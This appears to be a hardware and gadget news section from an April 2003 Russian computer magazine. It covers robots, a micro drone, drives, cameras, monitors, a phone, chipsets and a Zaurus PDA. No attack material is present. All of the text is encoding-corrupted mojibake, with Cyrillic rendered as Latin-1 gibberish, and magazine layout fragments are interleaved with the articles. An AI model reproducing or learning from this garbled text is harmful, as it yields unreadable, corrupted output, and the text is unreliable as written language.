 Åêàòåðèíáóðãå îáúÿâèëñÿ ðîáîò-êóðèëüùèê. Ìåñòîì åãî ïðîïèñêè ñòàë ãîðîäñêîé<br />
Öåíòð ìåäèöèíñêîé ïðîôèëàêòèêè. Ðîáîò íàãëÿäíî äåìîíñòðèðóåò âðåä êóðåíèÿ, ðàòóÿ çà<br />
çäîðîâûé îáðàç æèçíè. Äûìÿùèé êàê ïàðîâîç àãðåãàò - çðåëèùå íå äëÿ ñëàáîíåðâíûõ. Âåäü<br />
ïî ìåðå òîãî, êàê òëååò ñèãàðåòà, â åãî ñèëèêîíîâûõ "ëåãêèõ" îñåäàþò ÿäîâèòûå ñìîëû.<br />
Ìåäïåðñîíàë íà ðîáîòà íå íàðàäóåòñÿ è óæå ëàñêîâî ïðîçâàë åãî Âàñåé.<br />
ÆÅËÅÇÍÛÉ ÐÎÌÀÐÈÎ<br />
Êîìïàíèÿ OWI-Robotkits Direct (www.robotikitsdirect.com) ïðåäñòàâèëà<br />
ìèíèàòþðíîãî ðîáîòà-ôóòáîëèñòà. Æåëåçíûé Ðîìàðèî ðîñòîì 13 ñàíòèìåòðîâ, îí<br />
çàïðîñòî äåìîíñòðèðóåò ôèíòû íà êðûøêå îáåäåííîãî ñòîëà. Äëÿ ýòîãî ó íåãî<br />
èìåþòñÿ 6 íîæåê, êàê ó æóêà, è ïðîñòåíüêèé ìåõàíèçì ïðèåìà è îòðàáîòêè ìÿ÷à.<br />
Ïðîâîäíîé êîíòðîëëåð ïîçâîëÿåò óïðàâëÿòü äâèæåíèÿìè ðîáîòà - âåñòè ìÿ÷. Soccer<br />
Jr. íà õîäó ìåíÿåò íàïðàâëåíèå äâèæåíèÿ è ïîêàçûâàåò ÷óäåñà ïîâîðîòîâ íà 360<br />
ãðàäóñîâ. Ñòîèìîñòü ðîáîòà â èíòåðíåò-ìàãàçèíå - 45 äîëëàðîâ.<br />
Ãëàâíîé ñåíñàöèåé âûñòàâêè CeBIT â ýòîì ãîäó ñòàë õàéòåê-äåâàéñ äëÿ âîñïðîèçâåäåíèÿ<br />
çâóêà ïðè ïîìîùè ëþáîé òâåðäîé è ïëîñêîé ïîâåðõíîñòè, êàêàÿ åñòü ïîä ðóêîé. Soundbug<br />
(www.soundbug.biz) ðàçìåðîì ñ êîìïüþòåðíóþ ìûøü ïîçâîëÿåò ñëóøàòü ìóçûêó áåç êîëîíîê è<br />
íàóøíèêîâ. Äëÿ ýòîãî "æó÷îê" ïîäñîåäèíÿåòñÿ ê ëþáîìó èñòî÷íèêó çâóêà è çàêðåïëÿåòñÿ íà<br />
ïîâåðõíîñòè ñòîëà èëè ñòåêëà. Ïîñëåäíèå â äàííîì ñëó÷àå èñïîëüçóþòñÿ â êà÷åñòâå ìåìáðàíû.<br />
Êàæäàÿ ïîâåðõíîñòü çâó÷èò ïî-ñâîåìó.  öåëîì, ÷åì áîëüøå ïëîùàäü è òîëùèíà, òåì âûøå<br />
êà÷åñòâî çâó÷àíèÿ. Äâà äåâàéñà, èñïîëüçóåìûå âìåñòå, äàþò ïîòðÿñíûé ñòåðåîçâóê. Íîâèíêà<br />
ïðîäàåòñÿ â èíòåðíåòå ïî öåíå 30 äîëëàðîâ.<br />
Èçðàèëüñêèå ñïåöñëóæáû ïðîâåëè ïåðâûå èñïûòàíèÿ áåñïèëîòíîãî ñàìîëåòà-ðàçâåä÷èêà ðàçìåðîì ñ âèçèòêó. Âåñ ìèíèàòþðíîãî ëåòàòåëüíîãî<br />
àïïàðàòà - îêîëî 100 ãðàììîâ. Íåñìîòðÿ íà èãðóøå÷íûå õàðàêòåðèñòèêè, íà ñàìîëåòå óñòàíîâëåíû ñàìûå ñîâðåìåííûå êàìåðû è ðåòðàíñëÿòîðû.<br />
Îíè â ðåàëüíîì âðåìåíè ïåðåäàþò ìàñøòàáèðóåìóþ êàðòèíêó çîíû áîåâûõ äåéñòâèé íà ýêðàí óäàëåííîãî êîìïüþòåðà êîìàíäíîãî ïóíêòà. Çà âðåìÿ<br />
àâòîíîìíîãî ïîëåòà äëèòåëüíîñòüþ äî 20 ìèíóò ñàìîëåò óñïåâàåò ñîîáùèòü áåñöåííûå ñâåäåíèÿ î ïðîòèâíèêå. Åùå îäíî ïðèìåíåíèå "ìóõè" -<br />
íåçàìåòíî çàëåòåòü â îêíî ïîìåùåíèÿ ñ çàëîæíèêàìè è ïåðåäàâàòü èíôîðìàöèþ î òîì, ÷òî íà ñàìîì äåëå ïðîèñõîäèò âíóòðè.<br />
Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
HardNews<br />
Nikitos (nikitos@real.xakep.ru)<br />
Ìîíñòð îò<br />
EZQuest<br />
Íà âûñòàâêå CeBit-2003, ïðîõîäÿùåé â<br />
Ãàííîâåðå, êîìïàíèÿ EzQuest ïðåäñòàâèëà<br />
îáùåñòâåííîñòè íîâûé âíåøíèé<br />
æåñòêèé äèñê Cobra+ FireWire 800, íà<br />
êîòîðîì ìîæåò áûòü ðàçìåùåíî äî 250<br />
ãèãàáàéò èíôîðìàöèè. Øïèíäåëü äèñ-<br />
êà âðàùàåòñÿ ñî ñêîðîñòüþ 7200<br />
îá/ìèí, ÷òî â ñî÷åòàíèè ñ 2-ìåãàáàéòîâûì<br />
êýøåì è íåáîëüøèì (8.9 ìñ) âðåìåíåì<br />
äîñòóïà, óêàçûâàåò íà âûñîêóþ<br />
ñêîðîñòü ðàáîòû õàðäà. Óñòðîéñòâî<br />
ïîëíîñòüþ ñîâìåñòèìî êàê ñ PC, òàê è<br />
ñ iMac, ïîääåðæèâàåòñÿ ðàáîòà ñî âñåì<br />
ñåìåéñòâîì Windows è Mac OS 8.*.<br />
Ïîëüçîâàòåëè *nix-ïîäîáíûõ ñèñòåì ïî<br />
äåôîëòó îáëàìûâàþòñÿ, õîòÿ, óâåðåí,<br />
çàñòàâèòü ýòó øòóêîâèíó ðàáîòàòü ïîä<br />
þíèõîì, ìîæíî.<br />
Âçàèìîäåéñòâèå ñ êîìïüþòåðîì îñóùåñòâëÿåòñÿ<br />
÷åðåç øèíó FireWire íîâîé<br />
âåðñèè 1394B. Çàÿâëåííàÿ â ñïåöèôèêàöèè<br />
ýòîé øèíû ñêîðîñòü ïåðåäà÷è<br />
äàííûõ ïðîèãðûâàåò USB 2.0, îäíàêî,<br />
ïî ðåçóëüòàòàì ðåàëüíûõ áîåâûõ òåñòîâ<br />
USB äàæå íåñêîëüêî îòñòàåò îò êîíêóðåíòà.<br />
Âïðî÷åì, êàê áû òî íè áûëî,<br />
óñòðîéñòâî ìîæíî çàïðîñòî ïîäöåïèòü<br />
è ê USB.<br />
Ïðè ïîìîùè ñòàíäàðòíûõ óòèëèò<br />
Windows 2000/XP èç íåñêîëüêèõ òàêèõ<br />
äèñêîâ ìîæåò áûòü ëåãêî îðãàíèçîâàí<br />
äîâîëüíî åìêèé è øóñòðûé äëÿ çàòðà-<br />
÷åííûõ äåíåã RAID-ìàññèâ.<br />
Ïî âåñó ýòî ÷óäî òåõíèêè ðàçìåðîì<br />
22*17*5.5 ñì. íåìíîãî íå äîòÿíóëî äî<br />
òðåõ êèëî.<br />
Âî ïèîíýðû<br />
ïîøëè!<br />
Íà ýòîé æå âûñòàâêå Pioneer Electronics<br />
ïðåäñòàâèëà ïðèâîä DVR-A06, ïðîäîëæàþùèé<br />
ñëàâíóþ ëèíåéêó DVD-ðåçà-<br />
 íîìåðå:<br />
Ìîíñòð îò EZQuest<br />
Öèôðîâóøêè îò Olympus<br />
Íîâàÿ ñåðèÿ äèñïëååâ îò Sony<br />
Íîâûé ÷èïñåò îò Sis<br />
êîâ. Îò ïðåäøåñòâåííèêà - DVR-A05 –<br />
ýòó ìîäåëü îòëè÷àåò ëèøü óâåëè÷åííàÿ<br />
ñ 16x äî 24x ñêîðîñòü çàïèñè îáûêíîâåííûõ<br />
CD-R áîëâàíîê, DVD-R äèñêè<br />
ðåæóòñÿ íà ñêîðîñòè 4x, ÷òî ïîçâîëÿåò<br />
çàêàòàòü ñòàíäàðòíóþ 4.7-ãèãàáàéòíóþ<br />
áîëâàíêó çà íåïîëíûå 15 ìèíóò. Ðàáîòà<br />
ñ DVD-RW äèñêàìè îñóùåñòâëÿåòñÿ â<br />
äâà ðàçà ìåäëåííåå.<br />
Ïî âñåé âèäèìîñòè, Ïèîíåðó ïðîñòî<br />
î÷åíü õîòåëîñü âûñòóïèòü íà Öåáèòå ñ<br />
÷åì-íèáóäü íîâåíüêèì, íî íè÷åãî êàðäèíàëüíîãî<br />
ïîïðîñòó íå óñïåëè ïîäãîòîâèòü.<br />
Íå áåäà, â êîíöå ýòîãî ãîäà<br />
îæèäàåòñÿ âûõîä ñëåäóþùåé âåðñèè<br />
ðåçàêà, êîòîðàÿ, ïî çàÿâëåíèÿì ïðåäñòàâèòåëåé<br />
Ïèîíåðà, áóäåò ðåçàòü äèâèäþêè<br />
â äâà ðàçà áûñòðåå.<br />
Öèôðîâóøêè îò<br />
Olympus<br />
Íåáåçûçâåñòíàÿ êîìïàíèÿ Olympus âûïóñòèëà<br />
íåäàâíî òðè öèôðîâûå êàìåðû,<br />
îòëè÷àþùèåñÿ îò ïðåäøåñòâåííèêîâ<br />
áîëåå ðàçóìíîé ñòîèìîñòüþ è êîìïàêòíûìè<br />
ðàçìåðàìè. Ñîâìåñòèòü ïðèÿòíîå<br />
ñ ïîëåçíûì îëèìïóñîâöàì óäàëîñü<br />
ñ ïåðåõîäîì íà íîâûé ñòàíäàðò<br />
êàðò ïàìÿòè xD-Picture (Olympus âñåãäà<br />
áûë ïðèâåðæåíöåì SmartMedia). Ñàìîé<br />
ñêðîìíîé ïðåäñòàâèòåëüíèöåé âûïóùåííîé<br />
òðîéêè ñòàëà 2-ìåãàïèêñåëüíàÿ<br />
C-150, ïðåäñòàâëÿþùàÿ ñîáîé íè<br />
÷òî èíîå, êàê ìîäåðíèçèðîâàííóþ âåðñèþ<br />
C-120. C-150 çàìåòíî ïîìåíüøå<br />
ñâîåãî ïðåäêà, äà è îáîéäåòñÿ ïîêóïàòåëþ<br />
ñîâñåì íåäîðîãî - âñåãî $220.<br />
Ïðîèçâîäèòåëþ óäàëîñü çàñóíóòü â ýòó<br />
ìàëûøêó (â öåíîâîì ïëàíå, ïðåæäå<br />
âñåãî) íå òîëüêî ñòàíäàðòíûé íàáîð<br />
ôîòî-ôóíêöèé, íî è âîçìîæíîñòü çàïèñè<br />
êîðîòêèõ âèäåîðîëèêîâ â ôîðìàòå<br />
MPEG.<br />
3.5-ìåãàïèêñåëüíàÿ C-350 Zoom – ìîäåëü<br />
ïîñåðüåçíåå, íî âñå ðàâíî îðèåí-<br />
òèðîâàíà íà äîìàøíåãî ïîëüçîâàòåëÿ<br />
(êàê, âïðî÷åì, è âñÿ ñåðèÿ ýòèõ àïïàðàòîâ).<br />
Îáëàäàþùàÿ òðåõêðàòíûì çóìîì<br />
êàìåðà îáîéäåòñÿ ïîêóïàòåëþ â $400.<br />
Ïîñëåäíÿÿ èç ïðåäñòàâëåííûõ ìîäåëåé,<br />
C-750 Ultra Zoom – ìîäèôèöèðîâàííàÿ<br />
âåðñèÿ C-730 – îáëàäàåò 4-ìåãàïèêñåëüíîé<br />
ìàòðèöåé è îïòèêîé, ïîçâîëÿþùåé<br />
óâåëè÷èâàòü èçîáðàæåíèå â<br />
10 ðàç. Êàê ÿ îòìåòèë âûøå, âñå êàìåðû<br />
ðàáîòàþò ñ êàðòàìè äîâîëüíî ïåðñïåêòèâíîãî<br />
ñòàíäàðòà xD. Êðîìå Îëèìïóñà<br />
íîâèíêó ïðîäâèãàåò òîëüêî Ôóäæè,<br />
à çðÿ – ïî çàâåðåíèÿì ýêñïåðòîâ<br />
òåîðåòè÷åñêè òåõíîëîãèÿ ìîæåò áûòü<br />
èñïîëüçîâàíà äëÿ ñîçäàíèÿ êàðòî÷åê<br />
åìêîñòüþ äî âîñüìè ãèãàáàéò! Íåñëàáî,<br />
äà? :)<br />
Ñìåðòü<br />
êóëåðàì?<br />
Êîìïàíèÿ Hush Technologies íåäàâíî<br />
ïðåäñòàâèëà íà ñóä îáùåñòâåííîñòè<br />
ñâîþ íîâóþ ðàçðàáîòêó - êîìïüþòåð<br />
Silent Mini-ITX. Åãî îòëè÷èòåëüíàÿ<br />
îñîáåííîñòü çàêëþ÷àåòñÿ â òîì, ÷òî<br />
ïðè ñáîðêå íå áûëî èñïîëüçîâàíî íè<br />
îäíîãî êóëåðà, è, êàê ñëåäñòâèå, âî<br />
âðåìÿ ðàáîòû êîìï íå èçäàåò ïî÷òè<br />
íèêàêèõ çâóêîâ. Êàêèì îáðàçîì èíæåíåðû<br />
ðåøèëè ïðîáëåìó ïåðåãðåâà?<br />
Ïî ñòàðèíêå – òåïëî îò ïðîöåññîðà,<br />
ÁÏ, ÷èïà âèäåîêàðòû è ïðî÷èõ<br />
ãðåþùèõñÿ ÷àñòåé êîìïüþòåðà îòâî-<br />
äèòñÿ íà îãðîìíûé ðàäèàòîð, êîòîðûé<br />
ïðåäñòàâëÿþò ñîáîé áîêîâûå<br />
ñòåíêè êîðïóñà. Ïîëíîñòüþ èçáàâèòüñÿ<br />
îò øóìà ïðîèçâîäèòåëÿì âñå<br />
æå íå óäàëîñü – ðàáîòà ñ CD-ROM<br />
ñîïðîâîæäàåòñÿ õàðàêòåðíûìè çâóêàìè.<br />
Íî, êîíå÷íî, èõ óæå íåëüçÿ<br />
ñðàâíèòü ñ ðåâîì ïÿòè êóëåðîâ – â<br />
ñîâðåìåííûõ ñèñòåìàõ è òàêîå íå<br />
ðåäêîñòü :).<br />
ÀÏÐÅËÜ<br />
2003<br />
¹52<br />
ÁÅÑÏËÀÒÍÀß ÅÆÅÌÅÑÅ×ÍÀß ÃÀÇÅÒÀ<br />
N E W S<br />
Silent Mini-ITX ñîáðàí íà áàçå ìàòåðèíñêîé<br />
ïëàòû íîâîãî ôîðìàòà Mini-ITX,<br />
ñïåöèôèöèðîâàííîãî â ïðîøëîì ãîäó<br />
êîìïàíèåé VIA.<br />
Êâàäðàò ìàòåðèíñêîé ïëàòû (åå ðàçìåðû<br />
– 17*17 ñì) áåç òðóäà ðàçìåñòèëñÿ<br />
â êîðïóñå, ãàáàðèòû êîòîðîãî òàêæå<br />
óäèâèëè – 37õ34õ5.9 ñì. Â ýòó ìàëûøêó<br />
ìàíüÿêè-ïðîèçâîäèòåëè âñòðîèëè êî<br />
âñåìó ïðî÷åìó îäèí CD/DVD-ïðèâîä,<br />
îäèí æåñòêèé äèñê è PCI-êàðòó.<br />
Ïðåäñòàâëåííûé àãðåãàò âûãëÿäèò äîâîëüíî<br />
ýëåãàíòíî, è óçíàòü â íåì<br />
êîìïüþòåð ñìîæåò äàëåêî íå êàæäûé –<br />
áîëüøå îí ïîõîæ íà ìàëåíüêóþ êðàñèâóþ<br />
áàòàðåéêó îòîïëåíèÿ (êñòàòè ãðååò,<br />
íàâåðíîå, íåïëîõî:)). Íîâèíêà, ïî âñåé<br />
âèäèìîñòè, ïðèäåòñÿ ïîêóïàòåëþ ïî<br />
âêóñó – òåì áîëåå, ÷òî ïðåäîñòàâëÿþòñÿ<br />
ðàçëè÷íûå âàðèàíòû ðàñöâåòêè êîðïóñà.<br />
Ñòîèìîñòü ýòîãî ÷óäà òåõíèêè ïîêà<br />
äåðæèòñÿ â ñåêðåòå, íåñìîòðÿ íà òî,<br />
÷òî ñêîðî êîìï ïîñòóïàåò â ïðîäàæó.<br />
Íîâàÿ ñåðèÿ<br />
äèñïëååâ îò<br />
Sony<br />
Sony âûïóñòèëà íîâóþ ñåðèþ ÆÊ-ìîíèòîðîâ,<br />
îðèåíòèðîâàííûõ íà äîìàøíåãî<br />
ïîëüçîâàòåëÿ è ðàáîòó â îôèñå. Îò<br />
ïðåäøåñòâåííèêîâ ìîíèòîðû ýòîé ñåðèè<br />
îòëè÷àþòñÿ áîëåå ÿðêèì, ÷åòêèì è<br />
êà÷åñòâåííûì èçîáðàæåíèåì. Áëàãîäàðÿ<br />
îòëè÷íûì ïîêàçàòåëÿì ÿðêîñòè (260<br />
êä/ì2), êîýôôèöèåíòàì êîíòðàñòíîñòè<br />
(äî 600:1) è ïðèìåíÿåìîé òåõíîëîãèè<br />
àâòîìàòè÷åñêîé ãàììà-êîððåêöèè è<br />
öèôðîâîãî ñãëàæèâàíèÿ, êàðòèíêà íà<br />
ýêðàíå âûãëÿäèò ìàêñèìàëüíî ÷åòêî è<br />
ðåàëèñòè÷íî. Ïðè ýòîì èíæåíåðàì<br />
óäàëîñü äîáèòüñÿ îòëè÷íîãî ïîêàçàòåëÿ<br />
ñêîðîñòè ðåàêöèè ìàòðèöû, ÷òî ïîçâîëèëî<br />
äîñòè÷ü äåéñòâèòåëüíî êëàññíîãî<br />
êà÷åñòâà èçîáðàæåíèÿ ïðè âîñïðîèçâåäåíèè<br />
äâèæóùèõñÿ îáúåêòîâ –<br />
õàðàêòåðíûé ýôôåêò “çàìàçûâàíèÿ”<br />
çäåñü îòñóòñòâóåò.<br />
Ïðåäñòàâëåííàÿ ëèíåéêà âêëþ÷àåò òðè<br />
ìîíèòîðà: – 15” (HS53), 17” (HS73) è<br />
19”(HS93). Ïÿòíàøêà ïîääåðæèâàåò<br />
ìàêñèìàëüíîå ðàçðåøåíèå ýêðàíà<br />
1024x768, HS73 è 93 îòîáðàæàþò êàðòèíêó<br />
ñ ðàçðåøåíèåì äî 1280x1024.<br />
Îñîáåííî ïîäêóïèë âíåøíèé âèä ìîíèòîðîâ<br />
– äóãîîáðàçíàÿ ïîäñòàâêà äîáàâèëà<br />
“õàéòå÷íîñòè” ýëåãàíòíûì,<br />
1 2 3 4<br />
8 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
ñòðîãèì, íî âìåñòå ñ òåì áåçàëàáåðíûì<br />
ëèíèÿì :).<br />
Óñòðîéñòâà äîâîëüíî êîìïàêòíû (âïðî-<br />
÷åì, ýòèì ñåé÷àñ íèêîãî óæå íå óäèâèøü).<br />
Òàêæå Sony ïðîäâèãàåò â ýòîé ñåðèè<br />
íîâóþ ôèøêó – òàê íàçûâàåìûé “ECOðåæèì”,<br />
ïîçâîëÿþùèé ïðîäëèòü ñðîê<br />
ñëóæáû ìîíèòîðîâ è ñíèçèòü ýíåðãîïîòðåáëåíèå.<br />
Êðîìå òîãî, ïî çàâåðåíèÿì<br />
ïðåäñòàâèòåëåé Sony, ýòè ìîíèòîðû<br />
îòëè÷íî ïîääàþòñÿ âòîðè÷íîé îáðàáîòêå<br />
è ïðè ýòîì íå âðåäÿò îêðóæàþùåé<br />
ñðåäå, òàê ÷òî åñëè âäðóã ðåøèøü ñäàòü<br />
òàêîé ìîíèòîð âî âòîðñûðüå – íå ñòåñíÿéñÿ<br />
:). Óñòðîéñòâà ïîñòóïÿò â ïðîäàæó<br />
â àïðåëå-ìàå.<br />
Ìóëüòèìåäèéíàÿ<br />
ñîïëÿ<br />
Ôðàíöóçñêàÿ êîìïàíèÿ Sagem âûïóñòèëà<br />
íîâóþ ìîáèëó ñ øèðîêèìè ìóëüòèìåäèà-âîçìîæíîñòÿìè.<br />
Òðóáêà èìååò<br />
êëàññè÷åñêóþ ïðÿìîóãîëüíóþ ôîðìó,<br />
âåñüìà êîìïàêòíûå ðàçìåðû è îáîðóäîâàíà<br />
âñòðîåííîé ôîòîêàìåðîé, ðàäîì ñ<br />
îáúåêòèâîì êîòîðîé íàõîäèòñÿ ñïåöè-<br />
àëüíîå çåðêàëüöå, îáëåã÷àþùåå ñîçäàíèå<br />
àâòîïîðòðåòîâ. Êàìåðà îñíàùåíà<br />
CCD-ìàòðèöåé ñ ðàçðåøåíèåì 640x480<br />
è ìîæåò ñîõðàíÿòü èçîáðàæåíèÿ â ñëåäóþùèõ<br />
ôîðìàòàõ: BMP, JPEG, PNG,<br />
GIF, animated GIF. Áëàãîäàðÿ âñòðîåííîìó<br />
GPRS-ìîäåìó ìîæíî áåç ïðîáëåì<br />
îòïðàâëÿòü ýëåêòðîííûå ñîîáùåíèÿ ñ<br />
ïðèàòòà÷åííûìè ôîòêàìè. Îñíîâíûå<br />
ñïåöèôèêàöèè Sagem MyX-6:<br />
ýêðàí TFT-LCD ðàçìåðîì 32õ40 ìì è<br />
ðàçðåøåíèåì 128õ160 òî÷åê (12 ñòðîê<br />
òåêñòà)<br />
GPRS êëàññà 10, ìàêñèìàëüíàÿ ñêðîñòü<br />
âõîäÿùåé ïåðåäà÷è - 57,6 êáèò/ñ<br />
èíôðàêðàñíûé ïîðò IrDA<br />
WAP 1.2.1<br />
SMS, EMS 5.0, MMS<br />
ñèñòåìà áûñòðîãî ââîäà òåêñòà T9<br />
30 ìåëîäèé çâîíêà<br />
äèêòîôîí<br />
âñòðîåííûå èãðû<br />
êîíâåðòåð âàëþò, êàëüêóëÿòîð, áóäèëüíèê,<br />
òàéìåð<br />
áàòàðåÿ èîííî-ëèòèåâàÿ íà 1050 ìÀ*÷<br />
âðåìÿ ðàáîòû â ðåæèìå ðàçãîâîðà 4,5<br />
÷, â ðåæèìå îæèäàíèÿ äî 300 ÷<br />
ðàçìåðû 110õ46õ 22<br />
âåñ ñ áàòàðååé 106 ã<br />
êîðïóñ ñî ñìåííûìè ïàíåëÿìè<br />
 ïðîäàæó íîâèêà ïîñòóïèò â ìàå ïî öåíå<br />
îêîëî 400 åâðî.<br />
Íîâûé ÷èïñåò<br />
îò Sis<br />
Íåáåçûçâåñòíàÿ êîìïàíèÿ Sis ïðåäñòàâèëà<br />
íîâûé ÷èïñåò äëÿ ïëàòôîðìû AMD<br />
K7, ïîääåðæèâàþùèé 400-ìåãàãåðöîâóþ<br />
ñèñòåìíóþ øèíó – â êà÷åñòâå ñåâåðíîãî<br />
ìîñòà âûñòóïàåò ÷èï Sis748, þæíûé<br />
ïðåäñòàâëÿåò ñîáîé ìèêðîñõåìó Sis963L.<br />
Ñâÿçü ìåæäó ÷èïàìè îñóùåñòâëÿåòñÿ<br />
ïðè ïîìîùè 16-ðàçðÿäíîé øèíû MuTIOL<br />
ñ ÷àñòîòîé 533 ÌÃö. Âûïóùåííûé ÷èïñåò<br />
ïîääåðæèâàåò USB 2.0/2.1, 5.1 AC97 çâóê<br />
è 10/100 mbps Ethernet.<br />
Ìèêðîñõåìû òàêæå ïîääåðæèâàþò íîâóþ<br />
ïàìÿòü DDR400; âèäèìî, ýòîò<br />
÷èïñåò íàïðÿìóþ îðèåíòèðîâàí íà ãîòîâÿùóþñÿ<br />
ê âûïóñêó ëèíåéêó ïðîöåññîðîâ<br />
Athlon ñ ÿäðîì Barton, ðàáîòàþùèõ<br />
íà 400-ìåãàãåðöîâîé øèíå –<br />
AMD îáåùàåò ïðåäñòàâèòü ýòè êàìíè<br />
â êîíöå àïðåëÿ. Òîãäà æå VIA îáåùàëà<br />
âûïóñòèòü ÷èïñåò KT600 – õîòÿ òîðîïèòüñÿ<br />
ñ íèì êîìïàíèè òîæå íå ñëåäîâàëî<br />
áû – âåäü ýòèì îíè çäîðîâî ñíèçÿò<br />
ïðîäàæè ïëàò íà áàçå ïðåäñòàâëåííîãî<br />
íåäàâíî VIA KT400A, êîìó<br />
íóæíû ïëàòû íà ÷èïñåòå, êîòîðûé óæå<br />
÷åðåç ìåñÿö áóäåò “ñòàðüåì”? :)<br />
Ïèíãâèíèé ÊÏÊ<br />
Êîìïàíèÿ Sharp Electronics àíîíñèðîâàëà<br />
íåäàâíî ìîäåðíèçèðîâàííóþ<br />
âåðñèþ ñâîåãî ÊÏÊ SL-5500 - Zaurus<br />
SL-5600. Êîìïüþòåð îñíàùåí öâåòíûì<br />
ÆÊ-äèñïëååì, âñòðîåííîé 37keys<br />
êëàâîé, ïðîöåññîðîì Xscale PXA-<br />
250 400 mghz îò Intel, 64 mb <strong>fl</strong>ash- è<br />
32 ìá SDRAM-ïàìÿòüþ. Îò ïðåäøåñòâåííèêà<br />
ðàññìàòðèâàåìóþ ìîäåëü îòëè÷àåò<br />
òàêæå áîëåå åìêèé ëèòèé-èîííûé<br />
àêêóìóëÿòîð åìêîñòüþ 1700 ìÀ –<br />
ñàìàÿ ìîùíàÿ áàòàðåéêà äëÿ ÊÏÊ íà<br />
ñåãîäíÿøíèé äåíü. Îñíîâíàÿ ôèøêà<br />
óñòðîéñòâà çàêëþ÷àåòñÿ â èñïîëüçóåìîé<br />
ÎÑ, ýòî ñïåöèàëüíûé Linux -<br />
Lineo Embeddix íà ÿäðå 2.4.18. Ñàìà<br />
ÎÑ è âñå óñòàíîâëåííûå ïðèëîæåíèÿ<br />
ñæàòû ïî ñïåöèàëüíîìó àëãîðèòìó,<br />
÷òîáû ïðåäîñòàâèòü ïîëüçîâàòåëþ<br />
êàê ìîæíî áîëüøå ñâîáîäíîãî ìåñòà.<br />
Ïðàâäà òåõíîëîãèÿ ñæàòèÿ äàííûõ â<br />
ÎÇÓ äîâîëüíî ïàãóáíî ñêàçûâàåòñÿ íà<br />
ïðîèçâîäèòåëüíîñòè ñèñòåìû – âåäü<br />
ïðåæäå ÷åì îñóùåñòâèòü äîñòóï ê êàêèì-ëèáî<br />
äàííûì, èõ ñïåðâà íàäî äåêîìïðåññèðîâàòü.<br />
Íî ýòà ïðîáëåìà<br />
ðåøåíà èñïîëüçîâàíèåì ìîùíîãî<br />
ïðîöåññîðà, òàê ÷òî ïîëüçîâàòåëþ<br />
äîñòóïíî îêîëî 32 “íåñæàòûõ” ìåãàáàéò<br />
– ðåàëüíî âîçìîæíûé îáúåì<br />
õðàíèìûõ äàííûõ, êîíå÷íî, ïðÿìî çàâèñèò<br />
îò èõ îðãàíèçàöèè – îí ìîæåò â<br />
ðàçû ïðåâîñõîäèòü ýòè 32 Ìá äëÿ<br />
òåêñòà è ñóùåñòâåííî íå ìåíÿòüñÿ<br />
äëÿ ñæàòîãî âèäåî èëè çâóêà.<br />
Zaurus SL-5600 ïðîäàåòñÿ ñ ïîëíûì<br />
êîìïëåêòîì íåîáõîäèìîãî ÏÎ, âìåñòå<br />
ñ óñòðîéñòâîì ïîêóïàòåëü ïîëó÷èò<br />
Personal Information Management, â êîòîðûé<br />
âõîäÿò àäðåñíàÿ êíèãà, êàëåíäàðü,<br />
êàëüêóëÿòîð, òåêñòîâûé ðåäàêòîð,<br />
îðãàíàéçåð, çâóêîçàïèñûâàþùèé ñîôò,<br />
÷àñû ñ òàéìåðîì è ïðîãðàììà äëÿ ðàáîòû<br />
ñ Microsoft Outlook è Palm Desktop.<br />
Äëÿ ðàáîòû ñ World Wide Web èñïîëüçóåòñÿ<br />
Opera 6, ïîääåðæêà Flash è PDF<br />
ïîÿâëÿåòñÿ ïîñëå óñòàíîâêè ñîîòâåòñòâóþùèõ<br />
ïëàãèíîâ. Êðîìå òîãî, â ïîñòàâêó<br />
Zaurus âêëþ÷åíà Jeode Java Virtual<br />
Machine, îáåñïå÷èâàþùàÿ ïîääåðæêó<br />
Oper’îé PersonalJava è Java 1.2. Ñòîèòü<br />
íîâèíêà áóäåò îêîëî $450.
HardNews<br />
Nikitos (nikitos@real.xakep.ru)<br />
Gigaìàòü<br />
Êîìïàíèÿ Gigabyte Technology íà÷àëà ïîñòàâêè<br />
ïðåäñòàâëåííîé íåäàâíî ñèñòåìíîé ïëàòû VIA GA-<br />
7VAXP-A Ultra ïîä ïëàòôîðìó AMD K7. Ýòîé ìàòåðüþ<br />
Ãèãàáàéò îòêðûë íîâóþ ëèíåéêó K7 Triton, â ðàìêàõ êîòîðîé<br />
íàìåðåí âûïóñêàòü äîñòóïíûå è ïðîèçâîäèòåëüíûå<br />
ïëàòû íà ÷èïñåòàõ ôèðìû VIA ïîä ïðîöåññîðû<br />
AMD.<br />
Îñíîâíûå ñïåöèôèêàöèè ïëàòû:<br />
×èïñåò: VIA KT400A+VIA VT8235<br />
Ïîääåðæêà ïðîöåññîðîâ AMD Athlon XP ñ FSB 333<br />
ÌÃö, â òîì ÷èñëå ñ íîâûì ÿäðîì Barton<br />
Ïîääåðæêà ïàìÿòè DDR 400<br />
Ñëîòû AGP 8x/4õ, 5õ PCI<br />
Èíòåðôåéñ Serial ATA<br />
RAID: ÷èï Promise, IDE RAID óðîâíåé 0, 1<br />
5.1 çâóê íà áàçå êîäåêà AC97<br />
Øåñòü ïîðòîâ USB 2.0, òðè ïîðòà IEEE 1394<br />
Èíòåðôåéñ 10/100Mb LAN<br />
DualBIOS<br />
Óëó÷øåííàÿ çàùèòà ïðîöåññîðà<br />
îò ïåðåãðåâà<br />
Ïîääåðæêà âîçìîæíîñòåé<br />
îâåðêëîêèíãà (ðó÷íàÿ<br />
óñòàíîâêà ÷àñòîòû<br />
FSB, íàïðÿæåíèÿ ïèòàíèÿ<br />
ïðîöåññîðà è ò.ä.)<br />
Óòèëèòû Easytune 4, Q-<br />
Flash, @BIOS<br />
Ïëàíû AMD<br />
ßïîíñêèå ñàéòû îïóáëèêîâàëè íåäàâíî èíôîðìàöèþ<br />
(ïîêà íå ïîäòâåðæäåííóþ îôèöèàëüíûìè ëèöàìè)<br />
î ïåðñïåêòèâàõ ðàçâèòèÿ è ïîÿâëåíèÿ íîâûõ ëèíååê<br />
ïðîöåññîðîâ îò AMD.<br />
 ñàìîå áëèæàéøåå âðåìÿ íà ðûíêå ïîÿâÿòñÿ ïðîöåññîðû,<br />
ðàáîòàþùèå íà 400-ìãö ñèñòåìíîé øèíå – îíè<br />
áóäóò ôóíêöèîíèðîâàòü íà ÿäðå Barton. Ðåéòèíã ïåðâîãî<br />
òàêîãî ïðîöåññîðà, î÷åâèäíî, áóäåò 3200+, ðåàëüíàÿ<br />
÷àñòîòà êðèñòàëëà ñîñòàâèò 2200 ÌÃö.<br />
